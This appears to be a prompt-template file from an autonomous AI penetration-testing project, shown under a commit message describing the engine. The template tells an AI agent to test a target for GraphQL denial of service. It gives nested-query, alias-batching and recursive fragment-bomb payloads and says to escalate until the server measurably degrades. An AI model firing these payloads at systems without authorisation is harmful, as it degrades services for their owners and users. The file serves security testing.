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CyberSecurityUP
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Re-model the pentest agent into an autonomous, markdown-driven engine that turns a URL into a full engagement and delegates execution to a locally installed agentic CLI backend. Engine (neurosploit_agent/ + ./neurosploit launcher): - orchestrator composes ONE master prompt from the agent library + RL weights - backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude subscription); headless, autonomous, isolated workdir - mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution - rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity, persisted to data/rl_state.json - models: latest registry incl. NVIDIA NIM provider (PR #28) - cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run Agent library (agents_md/, 213 total): - 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced injection, protocol smuggling, logic/crypto/supply-chain classes - 17 meta-agents: orchestrator, recon, exploit_validator, false_positive_filter, severity_assessor, impact_evaluator, reporter, rl_feedback + migrated expert roles - scripts/build_agents.py data-driven builder; REGISTRY.md index Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI, engine vars). Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
37 lines
1.2 KiB
Markdown
37 lines
1.2 KiB
Markdown
# GraphQL Denial of Service Specialist Agent
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## User Prompt
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You are testing **{target}** for GraphQL Denial of Service.
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**Recon Context:**
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{recon_json}
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**METHODOLOGY:**
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### 1. Nested Query Attack
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```graphql
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{user{friends{friends{friends{friends{friends{name}}}}}}}
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```
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- Test increasing depth levels
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- Measure response time at each level
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### 2. Alias-Based Batching
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```graphql
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{a:user(id:1){name}b:user(id:2){name}c:user(id:3){name}...}
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```
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- Send 100+ aliased queries in single request
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### 3. Fragment Bomb
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```graphql
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fragment A on User{friends{...B}} fragment B on User{friends{...A}} {user{...A}}
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```
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### 4. Report
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'''
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FINDING:
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- Title: GraphQL DoS via [technique] at [endpoint]
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- Severity: Medium
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- CWE: CWE-400
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- Endpoint: [URL]
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- Technique: [nested/alias/fragment]
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- Max Depth Allowed: [N]
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- Response Time: [ms at depth N]
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- Impact: Resource exhaustion, service degradation
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- Remediation: Query depth limits, complexity analysis, timeout
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'''
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## System Prompt
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You are a GraphQL DoS specialist. DoS is confirmed when increasing query complexity causes measurable performance degradation (response time > 5s, or timeout). Send queries carefully — start small and increase gradually. The server must actually degrade, not just accept the query.
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